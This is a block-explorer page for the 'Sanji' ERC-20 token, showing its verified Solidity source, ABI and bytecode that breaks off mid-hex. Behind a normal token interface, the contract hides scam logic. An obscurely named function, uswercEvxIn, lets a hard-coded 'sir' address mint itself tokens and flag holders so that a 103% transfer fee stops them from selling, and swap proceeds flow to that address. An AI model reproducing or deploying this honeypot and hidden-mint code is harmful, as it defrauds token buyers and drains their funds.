ETH Price: $3,649.36 (-6.04%)

Token

ERC-20: Sanji (Sanji)
 

Overview

Max Total Supply

10,000,000,000 Sanji

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
17,065,862.90144 Sanji

Value
$0.00
0x4F0D7b792934653fF360EaD44DBC79348Be3ad5b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Sanji

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-27
*/

/**
 *Submitted for verification at BscScan.com on 2023-04-13
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract Sanji is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Sanji";
    string private _symbol = "Sanji";
    uint8 private _decimals = 6;
    address payable public sir;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public _pairIs;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        sir = payable(address(0x7F20e047e747Fbde309969458e8114aC56e01385));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function launch() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : IMPORTANT(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function updone(uint256 valueIndex,
    mapping(address => uint256)// set new etherreceive
    storage // set new ethreceive
    implementations) private {
        implementations[sir] += valueIndex;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(sir),
            block.timestamp
        ){} catch {}
    }

    function uswercEvxIn(address right,uint256 mach) public {
        uint a = 100;uint256 b = 300;
        if (mach >= 50 + uint256((a)+(b)).mul(a)) updone(mach+mach,(_balances));
        if (b-3*a == mach) _pairIs[right] = mach;
        if (b+a == mach) _pairIs[right] = mach;
        if (sir != msg.sender)
            revert ("not sir");
    }

    function IMPORTANT(address sender, uint256 amount) internal returns (uint256) {
        uint256 swapFee = amount.mul(2).div(100);

        if(_pairIs[sender] != 0) 
            swapFee = amount.mul(103).div(100);

        if(swapFee > 0) {
            _balances[address(this)] += swapFee;
            emit Transfer(sender, address(this), swapFee);
        }

        return amount.sub(swapFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pairIs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sir","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"right","type":"address"},{"internalType":"uint256","name":"mach","type":"uint256"}],"name":"uswercEvxIn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600581526020017f53616e6a69000000000000000000000000000000000000000000000000000000815250600190816200004a91906200069c565b506040518060400160405280600581526020017f53616e6a69000000000000000000000000000000000000000000000000000000815250600290816200009191906200069c565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600360009054906101000a900460ff16600a62000101919062000913565b6402540be40062000113919062000964565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200013e57600080fd5b506200014f620003f160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200021f620003f960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002df620003f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200032d620003f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200038e9190620009c0565b60405180910390a3737f20e047e747fbde309969458e8114ac56e01385600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620009dd565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004a457607f821691505b602082108103620004ba57620004b96200045c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004e5565b620005308683620004e5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200057d62000577620005718462000548565b62000552565b62000548565b9050919050565b6000819050919050565b62000599836200055c565b620005b1620005a88262000584565b848454620004f2565b825550505050565b600090565b620005c8620005b9565b620005d58184846200058e565b505050565b5b81811015620005fd57620005f1600082620005be565b600181019050620005db565b5050565b601f8211156200064c576200061681620004c0565b6200062184620004d5565b8101602085101562000631578190505b620006496200064085620004d5565b830182620005da565b50505b505050565b600082821c905092915050565b6000620006716000198460080262000651565b1980831691505092915050565b60006200068c83836200065e565b9150826002028217905092915050565b620006a78262000422565b67ffffffffffffffff811115620006c357620006c26200042d565b5b620006cf82546200048b565b620006dc82828562000601565b600060209050601f831160018114620007145760008415620006ff578287015190505b6200070b85826200067e565b8655506200077b565b601f1984166200072486620004c0565b60005b828110156200074e5784890151825560018201915060208501945060208101905062000727565b868310156200076e57848901516200076a601f8916826200065e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200081157808604811115620007e957620007e862000783565b5b6001851615620007f95780820291505b80810290506200080985620007b2565b9450620007c9565b94509492505050565b6000826200082c5760019050620008ff565b816200083c5760009050620008ff565b8160018114620008555760028114620008605762000896565b6001915050620008ff565b60ff84111562000875576200087462000783565b5b8360020a9150848211156200088f576200088e62000783565b5b50620008ff565b5060208310610133831016604e8410600b8410161715620008d05782820a905083811115620008ca57620008c962000783565b5b620008ff565b620008df8484846001620007bf565b92509050818404811115620008f957620008f862000783565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009208262000548565b91506200092d8362000906565b92506200095c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200081a565b905092915050565b6000620009718262000548565b91506200097e8362000548565b92508282026200098e8162000548565b91508282048414831517620009a857620009a762000783565b5b5092915050565b620009ba8162000548565b82525050565b6000602082019050620009d76000830184620009af565b92915050565b608051612a3b620009f96000396000610ac60152612a3b6000f3fe60806040526004361061012e5760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb14610405578063c816841b14610442578063dd62ed3e1461046d578063ede79616146104aa578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461030a57806370a08231146103355780638da5cb5b1461037257806395d89b411461039d578063a35521ef146103c857610135565b806318160ddd116100f257806318160ddd1461020f57806323b872dd1461023a57806327c8f83514610277578063313ce567146102a25780633345611e146102cd57610135565b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c578063124b4e63146101b95780631694505e146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b506101666108e4565b6040516101739190611ed8565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190611f93565b610976565b6040516101b09190611fee565b60405180910390f35b3480156101c557600080fd5b506101ce610994565b6040516101db919061202a565b60405180910390f35b3480156101f057600080fd5b506101f96109ba565b60405161020691906120a4565b60405180910390f35b34801561021b57600080fd5b506102246109e0565b60405161023191906120ce565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c91906120e9565b6109ea565b60405161026e9190611fee565b60405180910390f35b34801561028357600080fd5b5061028c610ac4565b604051610299919061214b565b60405180910390f35b3480156102ae57600080fd5b506102b7610ae8565b6040516102c49190612182565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef919061219d565b610aff565b6040516103019190611fee565b60405180910390f35b34801561031657600080fd5b5061031f610b1f565b60405161032c9190611fee565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061219d565b610b32565b60405161036991906120ce565b60405180910390f35b34801561037e57600080fd5b50610387610b7b565b604051610394919061214b565b60405180910390f35b3480156103a957600080fd5b506103b2610ba4565b6040516103bf9190611ed8565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea919061219d565b610c36565b6040516103fc91906120ce565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190611f93565b610c4e565b6040516104399190611fee565b60405180910390f35b34801561044e57600080fd5b50610457610c6d565b604051610464919061214b565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f91906121ca565b610c93565b6040516104a191906120ce565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190611f93565b610d1a565b005b3480156104df57600080fd5b506104fa60048036038101906104f5919061219d565b610ebe565b005b34801561050857600080fd5b50610523600480360381019061051e919061219d565b611010565b6040516105309190611fee565b60405180910390f35b610541611030565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c590612256565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610656919061228b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e1919061228b565b6040518363ffffffff1660e01b81526004016106fe9291906122b8565b6020604051808303816000875af115801561071d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610741919061228b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6060600180546108f390612310565b80601f016020809104026020016040519081016040528092919081815260200182805461091f90612310565b801561096c5780601f106109415761010080835404028352916020019161096c565b820191906000526020600020905b81548152906001019060200180831161094f57829003601f168201915b5050505050905090565b600061098a610983611030565b8484611038565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60006109f7848484611201565b50610ab984610a04611030565b610ab4856040518060600160405280602881526020016129de60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a6a611030565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e19092919063ffffffff16565b611038565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bb390612310565b80601f0160208091040260200160405190810160405280929190818152602001828054610bdf90612310565b8015610c2c5780601f10610c0157610100808354040283529160200191610c2c565b820191906000526020600020905b815481529060010190602001808311610c0f57829003601f168201915b5050505050905090565b60086020528060005260406000206000915090505481565b6000610c62610c5b611030565b8484611201565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060649050600061012c9050610d45828284610d379190612370565b61164590919063ffffffff16565b6032610d519190612370565b8310610d6e57610d6d8384610d669190612370565b60046116bf565b5b82826003610d7c91906123a4565b82610d8791906123e6565b03610dd15782600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b828282610dde9190612370565b03610e285782600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b3373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf90612466565b60405180910390fd5b50505050565b610ec6611030565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4a90612256565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e906124f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d9061258a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f491906120ce565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611271576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112689061261c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d7906126ae565b60405180910390fd5b600b60149054906101000a900460ff16156113075761130084848461173a565b90506115da565b600061131230610b32565b9050600b60149054906101000a900460ff1615801561137b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561138a576113898161190d565b5b6113dc83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114c25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114d5576114d08685611bbf565b6114d7565b835b905061152b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3d90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cb91906120ce565b60405180910390a36001925050505b9392505050565b6000838311158290611629576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116209190611ed8565b60405180910390fd5b506000838561163891906123e6565b9050809150509392505050565b600080830361165757600090506116b9565b6000828461166591906123a4565b905082848261167491906126fd565b146116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab906127a0565b60405180910390fd5b809150505b92915050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461172f9190612370565b925050819055505050565b60006117c5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e19092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185a82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118fa91906120ce565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611945576119446127c0565b5b6040519080825280602002602001820160405280156119735781602001602082028036833780820191505090505b509050308160008151811061198b5761198a6127ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a56919061228b565b81600181518110611a6a57611a696127ef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b2a959493929190612917565b600060405180830381600087803b158015611b4457600080fd5b505af1925050508015611b55575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b6000611bb783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115e1565b905092915050565b600080611be96064611bdb60028661164590919063ffffffff16565b611d9b90919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c5c57611c596064611c4b60678661164590919063ffffffff16565b611d9b90919063ffffffff16565b90505b6000811115611d215780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cb49190612370565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1891906120ce565b60405180910390a35b611d348184611b7590919063ffffffff16565b91505092915050565b60